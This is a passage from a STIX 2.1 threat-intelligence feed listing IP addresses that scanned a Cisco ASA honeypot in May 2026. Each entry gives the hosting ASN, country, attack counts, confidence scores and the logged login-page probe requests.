          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T04:39:56.834Z",
          "last_seen": "2026-05-20T01:30:46.321Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T05:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--38dc3419-16ce-4014-b561-1c2548b65478",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:20:03.000Z",
      "valid_until": "2026-06-03T05:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-02T04:41:20.273Z",
          "last_seen": "2026-05-26T16:47:17.527Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--aea73c77-9a81-4372-a7c5-a9c0cfdbd2a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T05:56:47.569Z",
          "last_seen": "2026-05-26T13:08:57.866Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--dfff6ed3-08e2-4adb-bbd2-44d66a862851",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T06:14:37.398Z",
          "last_seen": "2026-05-29T11:11:35.085Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5bcece39-4a88-4706-806d-b51ad00b58ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T05:37:53.148Z",
          "last_seen": "2026-05-21T03:53:38.446Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--08037330-1334-4aa2-b30b-377fe25d13ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T05:49:12.292Z",
          "last_seen": "2026-05-29T10:40:46.924Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--94280f67-07e5-46e1-930b-96466f86ac83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T05:49:00.355Z",
          "last_seen": "2026-05-05T23:53:55.723Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8b294264-c7c4-4b86-9b4a-c93817394eef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T05:33:23.282Z",
          "last_seen": "2026-05-27T16:43:59.240Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3c3c288a-22a0-4782-9fc6-935e95988081",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T05:28:32.914Z",
          "last_seen": "2026-05-04T14:19:20.624Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /cgi HTTP/1.1\" 200 - geo: US; ASN 47890 (Unmanaged Ltd)",
      "id": "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.148.9.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-02T05:28:30.447Z",
          "last_seen": "2026-05-02T05:28:30.447Z",
          "country": "United States",
          "country_code": "US",
          "asn": 47890,
          "as_org": "Unmanaged Ltd",
          "event_types": [
            "\"POST /cgi HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T06:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--76b46c4c-4856-41d3-a733-fe493dde152f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:20:04.000Z",
      "valid_until": "2026-06-03T06:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T05:33:07.093Z",
          "last_seen": "2026-05-21T00:38:13.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c1066275-6ce2-4fe8-a13b-118ba9ac1d1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T06:27:08.697Z",
          "last_seen": "2026-05-29T13:30:07.125Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--476b432b-d083-4533-b03f-b47e81db5fd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-02T07:10:57.299Z",
          "last_seen": "2026-05-30T15:34:29.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--e2ca6f7c-401a-4c0b-ad5f-6db9a3e62da5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T06:29:19.709Z",
          "last_seen": "2026-05-14T08:37:11.106Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6da483ec-c760-4769-8bea-89f0ca2d7b8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T07:14:24.914Z",
          "last_seen": "2026-05-25T23:37:46.756Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--09525ade-2f97-4fee-9c06-cd64763bdec8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T07:14:36.247Z",
          "last_seen": "2026-05-16T01:50:16.135Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0e2b332a-6d1c-4056-94b6-52869187bf77",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T06:49:42.805Z",
          "last_seen": "2026-05-06T02:26:36.141Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--89a72fba-fa91-4326-9093-ee853b6d435f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T06:54:37.817Z",
          "last_seen": "2026-05-25T09:14:12.422Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6592b169-0933-48bc-8f5c-a2204e796fe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T07:10:44.530Z",
          "last_seen": "2026-05-08T02:58:22.640Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e42db10a-756a-4b2d-b195-9e4836857c60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T06:21:46.522Z",
          "last_seen": "2026-05-29T20:05:11.540Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7e2245a7-c7c2-42d0-b020-aed1fb5a7134",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T06:54:57.575Z",
          "last_seen": "2026-05-29T15:05:53.311Z",
          "country": "United States",
